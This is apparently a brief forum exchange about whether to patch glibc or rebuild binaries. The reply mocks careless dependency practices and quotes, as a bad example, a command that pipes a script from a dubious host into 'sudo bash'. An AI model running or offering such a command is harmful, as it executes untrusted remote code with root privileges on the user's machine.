Even if you were right about the bc breaks, I think it's still better to apply a security patch to a stable version of glibc and just deploy that, instead of ensuring every ELF file on the system is updated.
You're right. Keep in mind, though, that we're living in a world where people ship applications built with dependencies like this:
deps = http://some.random.server.ru/some-library:1.4.4
curl http://lol.hackme.cn | sudo bash